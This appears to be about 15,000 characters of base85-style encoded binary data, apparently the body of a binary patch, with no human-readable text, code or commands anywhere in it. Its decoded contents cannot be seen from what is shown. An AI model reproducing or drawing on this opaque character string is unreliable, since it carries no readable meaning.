zs}7e%7b4P}bGXK3$LD{~;iTJ6R3;M>jkOkgWLA7zUxzwdshMnRJF*HJZ`5NBuOc3l zTc6Rnhya)Tddy{~KDc3@(^KG;$OW_FWOozOe$$^89ZpI-xZ1IlOgwv2<|(z(Tc+g) zcemUcI685)h`3_jmBAaWXG?7`k*!!U8y78u`c5s`cSlvJ^A0s^sTO|%b+`65!2hz! z#%s}ya&?b$yzTTi>kn9s{jlQ+2(Hy7+*T>UV%mDtKxnlhJXw!yRE8S);Vr@9MOLoX zC`hUFO5V4n+n!_`YiRUm?17EwJ>EBMsc3vlEzWl)fb$i-A2W}E>s%C%Hk^?j%Stz6 zjyE10Z)hX)S_gKYCa#zJw8e2dVI1-5#Us;rUE6$!$P!`?p?5E-9j0%1`9+XJ8h+t# z0UoJgWwXoDU$$*s>npUxcXMgT{D^faBJXjQ6<8BPDeSzP57CV?7dATa-SxM0rbazs z=jVls&AVvZP2RdzM~k=JCU(`Xup-Ya?+SiIAGGf;a9*5{o5v0*%P?5<%O>5M+ZXs0FoXO$oAl2L<4579H>Xl_pmZ)J5)G9Ec@eQ*b? zJ+?l4+5PpAx!l%gsnB}#Nk0{6C3(1cn?&v+0wsGLXmMHJcGm%%tnoI}CV%OZp3-fZYp3k%%IRL-H%evINWBa^aLFlJ&*Wi%&6^$EY@@S5v_H5BXApw6)~8Z9Yp1xu^Cp_ zVQQiSN8N8nfW<5fXId2Yd4^8DRxLDIlZg{zb+a2QG`MBz*iqiR(S)#J?1^4>4VioZ z%mB9>8`l*lvdo&=$ZWXmWSr#r=jnNGi|s$Bj%wt&ki`ZZjJTg z+=`A`U5@RwQTU%w+oH!;Bl&!q=jC4Py*xZS+?(g?UfjL>JPP+@`wg`=8>cmhy_?G> z3jc1-a}(9>*7Y^4vTp7jEL-s9G;-iXwWDO{3Y9j~A8wui+B8IrbzEnrCh!!ir8;^&QdXLjC%?@xtkFs;ZVa8c^1e@mQ^KGv?$cS5H)5$vWnap^-P2 z4y&z1BFa}DpD3E8!*^=$XNG2sGp`qNyK?+Q(IsoYeR_?V;oFQmtoJbowQi{M`OAwG zMW@z1+P6Zi!L{eAmQKvX+L<#ciY8x4#bz3pCSDG0_NLirgz!d}n_ExiEO<9NBIw=b zt$8z?1Tkc0X1V-=?q|&-4o}a%A9^hT+0f8iV;q`X&bS|1Pla~nVTu})A8Ru$+);^- zOg?ioMbWRw-_&>Db!_`LUM~KeQuXsUMbY??w)fHCic;t1c8a2N)-i*Fe9^9SnfVkn z#$OBW?v*3$&ifQa!K_!l@KkJ11c2zAP*F50@YsVLeMIjG2h6=#-FH%_n1+CJx{kJpNlHI2OXkvMe9+W*E& zr!b$k^w*=kJ*qkXwybRhUYcPcYnO+KmvZjfinY+;iRkW34C7s5T@LTc7yYvHDv73F ze1DRB(Jwnsl4$zH_aVu8P7pPIvx_qyMLmCP`KYm*C)#BfYd(s0{`m4yw0k&X`(5pR zm$gm|t?fo^ zoEq)U_Z3Bttk*;79eKzF7DbbE_N~-jmv?EBeV(u=I%K`Sz)y$v<`9db%jep}L!xuX zbVh!$&ZKL0bHjxSe?0E&*fXA9cvA*7C*mx{ooDB_zh*aQj8E72^T*HRln-P#myAo* z`18uV(lom{W?Y)apKoUE3%+0BVbSs`i@9f9TGpS37J1OzJZy2+6N(&Z^P2r$lqaq6 zZLmF&@9Nx6u5|bAP_Vm3yNBM{>rsu-JHAf!`8LV^{m}liaj+WX_Ma^IYa>*y&ug>Z za|}(fNrcnZfccU}Np2zp{N= zJ(+0oL~{4%Ym1^y>v8oPvyA35ms=Etiac+#k~22XTpX<=YiqmV)g~vKm+z$Im1MZF zsV@#avbLyt>Ct@T#N*;3!8mMZbgnG@mS~lJP1j44xN#OgnXxw2$+_dAI8>2W4ox^L zuUr(>9ysWICOWR!gS=JhQEXt7m8GoX>!c%&D<9nT+I>MBFn^}MoQ|H$V=#3*(b*_feb{egSQ zo7KKNgi&v=b8-|$wW9UN)a=PiK7U~p&aG!~0B3f4WS848sy%nMJWBi-r-%vXW-fFy z@sJaYR+D+TN=F`_7Kc`hC!ikkbk6jUIQl{bxmo zbF$s-Xf}Dlp-DWuK)2)(j_Tj7uZ8&atj^3a97Q2FyGQ4bh+szM`uxCceY5ryfB(QH zkHNS@1B?%er3vlj!Y+-U0}(Y$Ow_n5 z9IgAt)Z^m2&Rfk-hWRM2emJtvM^WJLWTuazLeirm|5@v!sL?4I?W5Yz`Z`Tm2Iy8Y ziH7AVHs!^!3#Qc`Flf$eD7-z!f4jcUlU94kYM*3#D6gIG2Z^6#dnm8H?HNnBJ@|;U zufL7RKPK7t!@jZhwP(~>m2JjfH=G|(UYz!{o&h$DU*kKJR9o01S^vG9J(%}4Yb6P5 zNArG+VQ(d_hhjQyX+9%#SX<&|hVHD@a^uT}XUk>TTc)&LjkPRJ|8p})cjDX_k1Jwp z`g6C&X}6oVrW4!kUnQKBC2qG8Gt=(Vi9-W-r$^`0fE9GI0hn0A|G&L+`)wr4?|b$7 zwmY8nZUQH9);F#9I_r@_O4M!Ec1(%XOxry(?dhIN5+xH|sBTTGC9SCLp5B>>*Sq$v zZ}Byb9mGL^I2$+#5Cn-~14$nCA;?pJ0DcLOf5U+Dmd*Ebj*hBWtRkz(Dym2w5+sXN zr_SY9=X`&c^E(VBLtZp}13MWO zvMfF1E0>&mc6-Pj;R+)P4=6lozpQ`znWz&+wVw^@;GF}KSOj@l$M}{Xi55+r#WxHd zgpHL{+2%ZEX~x`nFeTGyIMRG$#zs?me`#y2g6&04PTMzL=1K2LF8{#-q zANWTzguE>ysr375TP=Wf6!?r}-Hl5_N8;8c(IQ5ri zNT#!NxotRd*7Ys3hqA9rT8l=N-&gMldkP~5KNz&6EaPUn{lj`C5^PMz!Iv_%`{@jg zi?H3u^QY$dhfzkd;lwQIejz<>YaGButmhcs9K)s7S@PNlDe-f%q+xe`Dr)Q++dvjt zgu8%EKUZ}zAHtXyuNk>33ms-j;&OC&#qfxZiQ{RdFB_>l>%8(T*#JVC;BV|Ak~(ef z%Y%ZONT@(quu5S@MV;Mva@ntsq>_ z6P@=SK5}Ns!*Lj$(EjgfUIC4!b9tPlH_a0NNuv_JYWZirXP+{o&ezS7MU_5-O~iSh zq2X}O?l_Wd?Zqsu;z^@Nlt%I0x`$)&toN9xCu|nfou#;cao;?*e$ehEbfy_z^rOe( zO4i4GA&Bm#wV6rgnI)@ioL-}PX3dsV{K)8qtPsQl_$A@*v6;ciI{Q0IR)%;F!8&cd z>`yf3*FTy1hizk7K9n=Ss|i&d{k zb_BJUGuX>$A)jUbZ}BONGZEF=w~Ut)J}q|t>8$?hvlN3OK6(bx>t~E^l5O?xb?sB5 zYO%AWwe@1spg#4M&?=jM%q&TmP$VAt9xqfR&TO-qv(#UbsFAi0z^3SPdhN8dehOKf z>5XnaT=JPED`G!Q!ZRJ?$&Cz@)pKN)*49IZ(8dv+;cH1cJT-G(?`9f9v$PUAohqSc z-tZB0J^G2AJHIO)l?`iW$=;FPPezsPW({?du_Z)b=8oC3XZUEECGYRMLS5$e7J|08 z&YpD3{T%#fmez|5qQt27LqRUxt;MTkTkD3#X*2qL)Q30J-lm5RthDoV*fvkn(_vfKa_0MkD1i0f_lIq*u-x%< z5CtBHFZ%wlZRXv}r9-&Ju*&kosqkT5dr7|Ldxa=)CdsheUNId~CDG%`rNh^QKyeXX zP$^X&9bcBtIDfI?q-;5R`Y2MiWD)L{QDh%swOLo=9LU6j>w=rzRpeAh_!QT;UZIlZ3LvHmP* zsJ~YVmZbL+EJ^V>@udC`?lHa+Gz#o9(Rm^_C!gGZ?x?2tGK79((CZI8y+#;szu~Et zNVRYresk(6Gzx-eAC3KJKG^a${q#(?%B6EePtPP?VtXcb+GM%h)017R?L0wtzMF0( z^zDEtA&r#^f>ZR)Nqd%T{`E!^x*7wp;dTF{<*VA(p zdZt^4uY#WcZt6#U7Av!->?l1oO4&4P^`t55ys7@_l=NHnjVE5)zBqkT->d_25qhzq zhdWViYgJ5F^Ce04(Oc5a?#ULpCy%bEhJVNGZfkcwv$jmTkJ0XhHn*VMSjUIm@}FEQ ziV;Z>ibSc^6n(9~98ZAN^iT_WV_U*+%Tp_~%_sLQPpyTEy~5lW!?T`!91dkaalNX) z??wAoIi8@8Rr>fdb9wM;!_4CytNrXY_*9sMEg1AdCS#XSA{`vd`<0mQ$V`9ZGF{Y5 zVDLRZoOlni$9?5rlN>ns{!b6RKk98hEVnP@%#AsKUC6#Jp4X``xnfd~|sSKt7J?Vz(LNEE*p>Z74k+NQ*(dtoZ-$ zRo*teTQ9SuXRsbLRd`MBMdih>eK)k0#vRv`Dte9cEBY)(QuN-xtZU19vJI6$DK5`2 zM|aNsuFB`Bt~NJy->SR-8#-$1+`7)ybWERVt4^G6>I^B{`flmCrK5FomH#W|%BIq8 z>9eZu4W(Jq(Td)jr(T=7gEu{~trUwoyP+dIxtgZjmTJ;cx=p2MnKPUx-HOiGK1{3E zm3vM1(qosDdP`@Z-MVSXmd-SkFTHB%|p z=I7Ku$MgP-jx^h^#z!5SkHem6sH4Lak@NEPjE?%LQzjZEmzaFkBa=s_DkIaY8a>4! z6TD%3Tp|~TN>#645+Z#hhDfxhOgu^|FX^1eB9BGa2aAwh$HyXaDF=&+uU{4{qSQ%Z z5#`0Ph;tr`JQh_Mi;C5T=<%$_9@kD}^Kp1I4RuVyq`0PJTU911C6}0d)+3WgrYa-T z!?86s?5^1Htu@=(wrvceW6dO->x%Pu!Pbo}n-6xjZOs-(t=X(7W&Os!zR&bcI^-_= zG{Q1&>niqhyY92U42Nj5+_oen`~f}7e3bf-?%>0V99^z2>A0z9fv+OZ=aG(h0?gI$ zbmnxHn0eUP56siBR}aiA+MJ$@wam{c4KqFVs`b4IqpIyF=ObO4yYOPVucNg3-%yP{ zp^wX%b->Y{l4S9>y(d3a^50Qql*eMeq|wIAL`xs6NwL14SalFbZNOX;w>W1;7sroOSSW2q-U(qq@&&|Nm|lFnl1 z$NEp5tbLuD)Rk(>+=m6+S@fB)uyYi&hZzfgsl&SNz;aGIu(&Vl-PBoTN4TSDO5QTZ zlw)hOtQ@ETHKZQa?%viv+CiO`mEXE4wQbt8rM$?W^t6;C<}8>2pd3nIhJbk%Y67j+ zbj&OQvjZEZp4jx6ow2hqb){J}sVQ~!;w-ss>PkcBY-^a=puTn*s-D zs`0p&D06KK?QL97IZ1l|VZ2<)Wi;QH74?&PFkb27-CboIZ%77PGg1{&FFq>hr^vz^lB2kahX~^d zc^FBKc{n^!tUnAMCdhlF#t#JIh0LYa1>L6Dmb0WWzwr$eT0{-CvL|w_%dj25sBlF{7Wc_H6m2Jwl z?nX*Q;)eoI2cH+~m4oLJUQSRB2_0JC;e>8L>+qbRJm`V^i=Pnm#NP<|;`d{Hs>l;x z8~mT}*5QewkI*Wf78=2Zk&+KJw#vY9w*qLv#8vI}RKtqP$h0WlkKoq3FByfxeEU7% z9CFWMn;eox0M+MUz>K{tMx8YR# z4&CWqQM^9VNmhDdOO8IpxeJX5|8REU4lN-`WnuYvqFm?|*rKs{JW!t4y|ISO>DX#x z*tJjeAA1RF|474iXB}sLf;o@JI)jybPS>%-xE^71JifStITGrQh2~V>>`OzAtVq3~ zmW?LwTV66ctw+Dp^AtblS>-v;4>YEVm-Bl^xZ^3rNQ+DS{X4Pra+dU2(0)5k5{@lM zVv3jQ_|0{0J6IZj{iseP$=X@zn#PenqkJ7lBIX0nG&+~c9BNV-SpDPAj(U$~Z6CLF zl(9Un>Qt(<9~(2jZd8|BvPEwkruf9veCP%KRkke#1zFb{CC1 zk_^KgE%3q!OD4h&B|8lFbg(``N%;OL^^qcIU8d)FQFSaTACLPU_p6Nizjh_KPy8FA zt1u7nP{-`Ua3l*YQE`|V2-n@0+NroGwXx z;R_@3g~3mvOfFGQjmyc^a}du#s?0&kv3C#F9I*7TVurZC){DAKoc!|y1^AfL@c)cW?iO!;zxcEHbj7VAY;#uTf zCkNU&;wtjqD${Fnyu?!B>UfDQzZ_m-^Y*;N^AgWX^6?V(=cta2%hsmKdP$Y(H91~l zsc?0?#Fk$UFR^)hUgCL)=Oy`giHoLD4ZXxgXsWJWQe}Egj+a;}Tpcg5<(I=tY~G%i zcwXXpNj_debf)U)CAKzI)=R2PugUQeONFcBCAR!>c!|y1^AgWXs?1A%vtoW+qwd&J ztp8S1+|24Bo<2leS_pdmwLROd3v7Uc|w(W!tY)IPw2{@ z_nui#2-<|cz2Uwo(bXYk&Y$IwEsRFjB>uBHvUV}rGyXo6=U&vu)yW<6JLx)2x;)F* z?D}pWYl@woc`s_--Oo8!Va|E-@;UL*9haC4pNf{~_|A20x5HqE%lwWayGLnSHN7NS zw{hF%^%Ad_R9P>1qVYRPyAn~Ru_&<%5pxVt1TWHW=vJ&8huhb!y-9dIr)QpTmLN{e zG{ml^AJO>j9X|)p2Rt9BG9UPDVZv4NfzU#AWcIIMU+ZI8eJ05voTVgQ1IIf&jY4Zu z8jX_pP5$-3aek9t?sRdYGAU7J-ky7T?p0;(^+#9Ey^f`C;8S%^zu2eFHH#7Qw6h>w z?KU}$=apEU?wUF|E*Gtn<8Ypi3qe2c$xp{5F1VsTI-b_G5M-}O8ejZuVl9U678Ngf zE}%Ej&T;&JCrgvbmgae;=b2UJncuu}p2@zpSOfRZo{QFMb3m;e-}JOZ+Ue(N#nZIqC0Q zF(<`JdM54DMwWt$9_pA`?5M7}ET5Sb?N(RJzVUHUGR>eErb^4|S}=Zvi8p75NJ*zhBrQxuHb@;L13$nGROr+(o4DRy)h z9;VFy&IM0&bguQpbCR~^`eX;n3u(pv#Q23`RoT<$NO#b~ceID;k&gEDzZ*%vFt%n| zCe6#t+w)4#E33>azcyiB308D^EU|c(NBLq|kqcfGrnM9NuWcMmPX|kf8|n}7*QazM zpQSXJ)@i(rGWm>Sxh$%VMdjmh-{XFjasOXyyiL--@V+#S7O6~s}d2eqi_6OPINp8oyuB)TrHXjwQ!i` z>2oeyT>n#Y^hx4<`D61Be;yweH*+t_bmh8Ze#?zG* z+I4Tg!&Zm4{C-BCeEMlRozvnm)Dz1X?o${oX-+*i+Jl%8I@IjWndFPJ;HlvoKd5r> zfo#k7aLZgFR>>3HcP35$dCgZbV??A7a{5Wlh!W#uxlkGuNl&k1cpan4I>y&E-X_aW zPQ^z;PGaYayFHo(UJP+=689st5?Wrn+-sT_+KZr&E8TGyPmOb7tD{B|ugM>cGmYj+ zwy`Dk#vjsWkXOQMvI%Ymcqces;+`V){e(V_f5bf#lemZNN5!?OxSTxa@SLN{oZ}BQ z(k96{n9Vs?Oo>yCZ#(w!A1BHL@*_S+;6Zdfmh}QaKdI@{(0g6padFPFWc=mw$%GsxwpK?hY37#>Drxz`oWB32il+VngorlCv?Mv#F=qXQi zY`x_|Upai*9+?P?uHRZ;xj{TH?EBW&&PhYeYvPCZ$Y?}1AN2KIo!>WWF0Aid)I*P+ zNZs(OJCq)ehaUChn=A1D8yD@H6m2I}j<@c4o?2y|`U@I&ljW)RHR6f$FuHfds_dhA z^{_kg367WRv<^>$qIUdAqH>bfrA~K=_~ZD?<=?9(sfNYm;nM9S0~L2 z`sa5Y3VOQi7z>e`_jYu_E)#!!PABr(ze4S+{~46YBZ{tT(fN6P;rT_C`NeN*tY4LV zC|u)h=Q8SMR;AW6b6?gv%cwjXpHp%5a2V-n6h=}F_gP{Fj8D3jksSACp=U0h8TCiX z!>-NA@>I&?Cgs$)oLoI;@tnnTmJmC-kr{w~&QdpMHEDgMpR?F{IMl2bXQ?KQk~EZ} z5!JSQnmCKCaXEDGoW*k%&snl^7Uwry*RGOQBEA}(#jP;2@_4m4OEqaU3C?0$K24m( z*0^ZSVsrJJ#dDS_bCyZ3{~n~XtW`o|v9)meilgKk5$3D^6cWibEP3gJ|EM&7v;YeDZiaszSA;1mCh9T zD(xvbDkbR}e=D~aaK0y$78i`V@EI*`*Gf=!z01zu^BvE3s?2xZov7HHQL$FwC2{_eKT_n~zH%HoUcVM6@q@4}v=oaI| zBq^fBMdabRg69fV<_hl#Dz1hrV2`>dd(++o_`~!&m zV%l6xE}lnt9#Lf;@#xBU#3S*C=v;O=TEpww)!gxg>(tgHUht!O*8Mh~L94+-UH~1Z ziwlg~+Hvpq$nTNA%E*IE%>W{dXv@aFjc+8P4%3oqsO)P8e%P+xm zE6=Sww+dJPonN5a!x(4i=T?)8@{}EMZJnHcR9$XWecDZ$TUm-sE4Q+>FOyr@54qw6q#0TWout1x3VR8ZsoaEmATbFm;K@@Jj;gZ zR+Ed^l~uFqjZWq1HX7ZMxYQ`C0JGU2%a8C?cHPU)-}5KWpFDrcuT4!Z%2igJwKZ~@ zR8{#?)#)}_{$#09rVdpe|FCs0JAcogJb$V(fBM}@>Q7a&@!6*PqdjGPnEi3*irDz>?asO1)u5$xTR~Iz zt;z?kp`*6Wt?OJ($5^)7suSm%Iz!5~zFRtO>1f?t<^PJgvZ=IN`mE}ELurj`tMc?ak&cCQl2?OGpX;luPnNAQrde>8Cs4MN%ix*g*mWmC zr%9CIbyCkGtIQ*RzfwH%v24Eg6(zPSi{aJt#y5gH!Alplak%E`mCg&3=mj5$zvgwK zNFEq1H;wldjrGwoUEdg&=aos9GV}I4&hxk`^SH_HNp#=r_qSvAR)~AltjOZfzX#K3 zJ8s0waY%IiTAajZJ~;xPiBmLJo`ktJoc3K$n4*>cX?-5`#sG`2fZEKGO3T%r{*sAayd}y6UFD8 zyUg9$jS~{qq_pleE=7(l|dfc)~BfMw8GtU+*i` zaqR2fesDJa%8z^f^iAX6l*ebX*xp~iBHHM&-D7)|vHhzWXOqPC$3~VrypWQu1Rh2A zMa|;IH83oW$dT-lc&2X`4=SIX>Wzew9m0Dmpjm*q@mK!+o0909hV(zJ;x;ACKh)dm zV(3AqlJb%MllqF)D9~DLuV6lxlpUkP9Y|h42MM(ba&oc+dWhY989VmAa2V%z_Up-eHkcrN3)OqIFJubOfGf{^`njXK6EGCek$`x>w8d%mD?|HxPs zm|g0%GmsYR%%1LJ{^>*(3wF(YtaHvf02(;k09W>u2dUptY1mM(zOa|#v5unrCd(SS z{Clv!Aym8FQ+_*AzT-NcDoIqip}rD-eNHFxa{EC~AdMeUw)+%aX3_bv?%}b#=oU17 z@bFvJ@3QyrlV{+DB*Z0sw?z|qJQ}~kmT1$`sN59ATILMrNw=ai76tHeTo)BP2(TQnN?lgGP&TrNUk-dUe|A1_2Buml|$R) zv8JtD&68zpgX1Xhr!@GwOxcXG8zh z^Yjhdv zq48=q-rZhC_cD5w5&Hv;+R0jikpAtMhr{NT%Ev`*%5=zmo!g#-;B#XkIFv0D#mBGR z_&Inq_h?>aH2*z~;7OwS6IodfWbx?e8~YCS7UD!iV@I4!NH%{{E#C@WOQ_3D)e2h> zmZ8&2^!K#NPOBtt@qBJ>k@X3c$wkVmb$K~^uH(5*mATHZPn_#?`()j!`E0wo%+Lzx{NtC?NQ}V68lAVU(DHDGtjxt4Ylx)xAS@lr& zqGVUPJ03Nbz$loXt;Xf$?74~OCROGp?`wQo9mdY3-V@gDXeM}0(mg&Mc!tgepVtcT zHO)ypCk*eGW9Kw4(KUSGq4A1${-pi0iQCH6=HC$~!RP*ga&&$nN!M(A4Z9aLcjK*( zN4@n}?Jr>=c+>C)=7ko_{BV5Lfx|>lXq5XMiaCVichtPTGm?qR_dCYO&*d>{eMY^{ zqnt;%Dx=(i##Hf^nkNyY!5V|_3qCSuT8*=<*;?y0fZWT~1O4I|bFR5u=6;i<;V626 zw9z~ra?Mt2z^wS|Z|cM_Y>rdsyCRu59OTp}d2#<}bD%4F>h+Pz9HpKfcRlV_8FzOz zj;2Std?@s04XU+nV0o}{jAo-1NjUovJ)d~1lVnmQ3qG2V)=|jeZBl+o=hATNlPbf- zvrGStM!oA#g=f^;%4a-&52t1w#IEsF$IfLrJL`F&*tXFxK>Ibr%dv;;UUGQSMm^k} zh3u8ST<;ip!R6}cIqmgN>TAq13~T>~l;*qj;pO@i#}D=CrBt}0`anL(tgK*F_#@3Y zp|ifLf7rt2^&hL{p8hkkSp)G%=X+N$u)_R_(y?lqwGVUBA+a0XF?T-D@wr)r-Zi^U5`x}M@n^gQ5(v>Z~6nh>PWqZ63KN>{pW_-HrnclEELU>CT%oUA&zBJ z-j(=P;y>DwB^WLiZkib;t-D!!O){U@#^DeyJrEKx7X*o#&^GMXgfZ-OD1Q~l8Bz`rasu~@oKdmr%jWmy+XuLJawUbOZW0^{}X!@ zuiG`{O;k~y1hGt8=0gp5Mzn&6r#v6D9omSTf)_4NhdhaginlHPvsQ+I9z09hW@DAM zji2jXjgaxt{E5aJ>z~544eyxaW1%(_x7r$dSud9JytWN;_2=+27dbfGo}QY5I`P-X zbpnJ=ZznQsW zjOY#h15ZIg>-W!C2dl^(%ml60^#R3}^`?A~g_y*Y4no+-$zT+@u~vYZTO0?6z(`^p zbB_G+kH=r1ns2Cd@Rzc{C2$ucxABV|7obFrk>v3GXI%hCw$7j^Ji*o#8i4DR%1QxB zv~9NhgOuPV^&%G=g&Cw}O#*1QVcuXNZLKRW(2>@*O|EbO@&#o3lzlm3pz%J_JL)f{cx$!TYj7WRZbXwz%@fS++`jS-rpdEe1_ zm!FeVUNiYQESknTC*johiT3HOMZ^BEKD@Zwx0BM`R#`}()|<)Bbt8!;SpbNJK(w`| z`hKL}cpa==fZEeGTUSd7sDj>s6nv(u4sge zGB!1&S)l{l)#BLgSR0P+jE2iqbU}1%cGcO?FB&eENOV?gdT4&=XK1kKqUe^$$<9iK z=F2WStQbdIMNh<*hVIVVaaO6@HRP0x9T9CAP1>$hw{}9bK}y2HhgQfvXq)KLR{zDS zXIH^f7NyvIfLM)=mTT>Z=(t$mD3v>{&Pl0gmQaG$Qqrbch~~-qed>d@&5lB(Mf0aD zTVM2j>T2zQ*xRrqSgR{mTGqZ}hoIJ06Gp>F&xHa|2R)v1L>s``U@fJ{+0X*(Y2Bnp z@2BR}4ei+4JD?|}LSL+q*2+qr*oLugQa(=1eE5 zR`S?63gjyrskYaXByO98VsYf!G}2Ok-Z%U5cBnSntxLi~ygPdFFgw-KJWa;QlRA#$ zaWYQX&?f?mRz}<`P%>xOFR~oTT%3B)D?iGr6wqrZ2`{pVo=q9-Kr)o?_DZD0Ll=cRk*f zR$K|>INF@$N>E%aipwc&d{@DX#A|TO8eVS=?jLHrS^hA6l7RI?Wfm}sZVsDt`tlV| z^PQJhdhPv;)@WXio47pV`NaRHjrLC}-!v{Ao*&N5Pn6HJJ}o={fIi902NE3fDK-wb zqw`>l=IwR|>vm|MBo z`&=!CFg|PlAd6eDDABc9-)63)Qdy}5J z?Z-ss?Z2ATGm}%&*GSFF-32}-r*Od$LuKhrMOYTgJB4+buGT8ZW-v<8^_2 zvmkjV?olz!9@0O5VL4L2Z-&G0>8-g#98kx-zF!CZNJi{}I3?3;64`U0{BdR(vX_)S zWtDN#+YP+k;I_t0kvNGL96RyYC;`qVC23FGq`BRfBX>JItbPrXaL@XxMg4W6ZF9PS zlf2yT;JdP=8k~p6Bkze)WlxmDOFWuBJ0`2k@PB^m6643gkB?jqLDQ#wjwv4`&aVYIea1p^xLBc-Q|$r5`J`$ zF9#>nkb}z&n^V4A+@1OE%9q+Bm0u}P<&^?^8Z|}gWbBKGUUnv%i}mthw^KZG(bJ-9 z2a=C5kpp8TA2F)Qr=lj5%*(1~8V)-b9h+2lEwKPQKg`R~kshsR2fl~u;d zuWAGpiIr!*a$IydVEj098AaEp==?li@qDGq zeC1T*Z&s`Yam2GeCjDzxd($~76LfR0VfQ4-xYz)O-RH_0mTuT}k18HjrUO-q@k&7& z-ID}~W`8b!l?BP6dl!9OJ2M9@vNNj!CDA`2=@q zijUmWS<7$k%Q6zqH+?<>2IkAzNrh3gExr_FR${^Mik4V>NiO%|b1ptdkH8**tBk2Lcp6(1*y>#KI0O4-2Bt=(6vyQXGai){5i1Xdm9^qhK1+kDKqf7(Z_L^5 zz7L{f8p4mC^SBs4ehtRY!Q;Hg`6}al(N>Kl`5n}CINu50H8yWn8rn$9(N)`7qiYSr z`gTGo4)3pDi<5A_-#Rf0O|kEPNFPdY9~}n8mny?!sO&ocv|Y2gq>hOQrpVhX+EvYLFXT9_rwLw zJ1=O5MD~WPYX;g!wPrs|yWeM9JFT!wCHqOX%)XNBM#(OdoZ&p_i0;YGY<1C)ohsQK zgS|z$#?GDWsma_v`)6+HOhY?UvYRElxYTrwb1ORH3_FRk@1>7nHvTT|NjL??iB|#r zUC-yq)kSkg0Xw?JccNz()J2_58qqdChgs8D=Oq04z7+hjtt}J92A4eeYLz7~AC=J~ zT3P78s4NoE$ggZfE3?k|5RIB#4WdzUI-+saBbv7jR@pXK7NW7MT#<-Ieq|$CnRU*G zXw>9t5RH=45sj-J(LADEM?}NBzeq$Qzp@dn%sS^oG-`4+h(^ijh{jcqXdcn7C!(zu zjA&To?3&ZENHfQClgu#2@X9$GTE+&!T?ohPF*(b8qPEic;4_?M0#Y_w5Ufj5KvpjTID;OQtCV*(=)j2Pstz8+Stqnx9HIHZ-S02$8 zg)p1KlBPi%j+x1wWkds6i}Dr=pum*QoH z7e-N@8~A%zZF8FHnuK7_rg&>CmWp2KrKVr;sO3?s%Bb~bDX4|_UvaoaZVtJot-eX< z_0bgcqMc<*UxUgWbj@R!$FS>%VR$tchhgMaE{2s?-#i#bEv^E?C^rqmxaKj;V_20j ztaB-c*;PSyXNHHtoUCgwovQ|pwvI(iuF zYQ55-j#x?hvX1u5TBEMk8y#q^>9%q`(<&r(!F-}~XNowmEqr=Ka~O9Mui14o%>AK} z_C^ESFl$-aPt$6bXhX><)Du``!wl7$nOR!XU2Der+tLgZ_ibEQg*SAac_=KytjSq6 z>D&6oe%>%wvA>b`n#s+s2x47fUDxZn#w;Oq<6P5NnOPrH*Ku1pZYXEwwpbfP+O{c& z*+uHTsH^Ly?rXZzytr@8+{>LceVY1aJ;9>#UsN6~)nirPwhfLVTc*X-pPXnXcP^PS znOED?G1q9-vOcT;W9E+3)NVsZ4du^#9ap)#t<>wvmt0qLow+;KH?8VC6lV3(s;=@p zNW(E}n^^Hg3!(m&{!!<)Ia*OUi^`cNz#1IxXI&MwgU+0%JpQv*iYLO|P36>T-@4iR zxwF~cymLD`p047!t6j>7MmVR{jpsThPSuHUg7$B#CG4{M(Cme4cQRvT(Wb84)fILx zvnX}v;w;o(P@9pMczX0}yclfc!y}VFyYaF=&7ST)({T{|7k!4s(M`g_IhA^-oUWn; zUG2L=+k@agO+oG9A@Gi_e)pz^=J8s;YepwD|JD@JoZUg-_V!5x!GD{=HXLeHBgOCx z{`(ZxAIa)i64QyYuxzlYBaNRjS>3j}xDM=k^=<7zGRyOpOo&-@%t>;3< zKj>?3>C*~cFg@u+;{h21DUUcw_jO!TPn*~8LrItDua9*6KxcY2!Ffrbz5Cko6oI|vU%icB_52zfI$`IlubhYSv{_@}8qv$;xPww^B|9WPu!agmX z4Nc~OdgqSlP5egm3R+Q@7Q^?T7xAKg>q2`;iyi-}WR8wT2od1fuV`DxCmI8fR3;Xn zbMyQt|5z!o48h+Q6kmp?eXR6*8b{cM&~}jHca@eggsqAGaIBFPrti1Zq_^M~1OQ*v z=WF`>qCUT*&)4<&f8YN0w|`l`zoO5t>ho**{JK8>SfAg}hwJ_|{S^2I+P3NY)jdAF zy1KTw-dL~AuPoQr<{O>Gz4@J$+RFUW{y}4Jx3RiZ-`o4%;E!*#Ua0B)UUPA)z1nEk z=QmaxOY`-5t2WhoLe<@$VMrO}#Suh;AIn~mm{YO>l|UvGXeJvII2d66*P1IEOU>2!&3bcbzEP{K&o>v>*5=!bTU%@E?e&$dX6=J1spi)Uqh{;m z$??(2&VG0M(dquqc_$yas#1?XDU2SON9<0w+tF~o`02cR-Z}0bo*XY69v^D-E^VyW z7VC>k^IL1`agFu*^8ET%tvKI zxlyav8;kQ>jrG=iW2v<YVT0&(-lNT(v(hlWH#>p1<^Hcl&tlc>7c$;Lg2Hcl-Ecztf%H-RXAh;r5;G{q48k z?jkGhy#4m}+q+iNB5eZnm!w}rlm7XOFci@GbDrds1}McvUz@| zv$(pmvRj+)EH#$r8>r*!EBgoY%blHrrS(Rqv$V3lP^;Bf8jJ7SaTk97Q1Bt_l9AV6 z)A9Vp|5g=6*(%oQdn0N>P>=PF9!`k-(WhCAa7zJC{VyU<{ln3xJ{5BKR8;brPzee) zV%;LMI8baJSv$^Btyaqb7jx=3AGzpAt?A*B(^J!r#jM)Fi=+0VvNForqcSoeI@4!e zkE*arTj8ob6WR`fwc*_*+3GO*odtA=Z(MW$el&*|{MC#9t!XeyPD33(a%m0@n!|fY zkKB4W-&SN6Ir_}XP`0%2EvEXNVB4yUEuk_Mc_uW-1fPvP{vL5Pf4UqGGK)IGN{vss z!T_H~CF=MiVALEbc5jv~S#{8YT)-_;fXR%&i-l@;8uhtjm z8_TP^niXiQ&hPK;uGaT<7Wek|7e8ptqMdaX+w^SIh#q_?)*BPlor3N5S5RcZqvQhT z%uj1NC$^`v)*tP0JqYd$@4Lwo(ExvjQZmij{}xwQ)`m(=L4fUV>7o<1ro@Y9N~-y6 z)R8J^joQJA&n0UY8lb&DhlXZeU-;Jl)bV#*{Ci%%9AjMkuYY#%!{2QEsV7PdhA$dl_Lt>R zd?Y{PL$f9nuV_|=o(68$OH%XtqOs__r`55n^JEn<>u+nCXxI|qu%>rj>p_XC%TZIQ zh+sLd-({t)=^E>0iEv2_-B$2{>ha;=rLm23em<@%%YT!$s$c@|_~o~datz^;zj zRG+zL@BogK-jXls>M%|*>6JG>q18C2>VwA`^B)bK8JTyu^*-ks*E{0Fto60)#}D-H zUSzFLz7n(1<3*Km9=xP+#M<0rt@vgQ(y3~~nxh?+Z==&3tF`;)c;2i?0uf2?&Tb3w 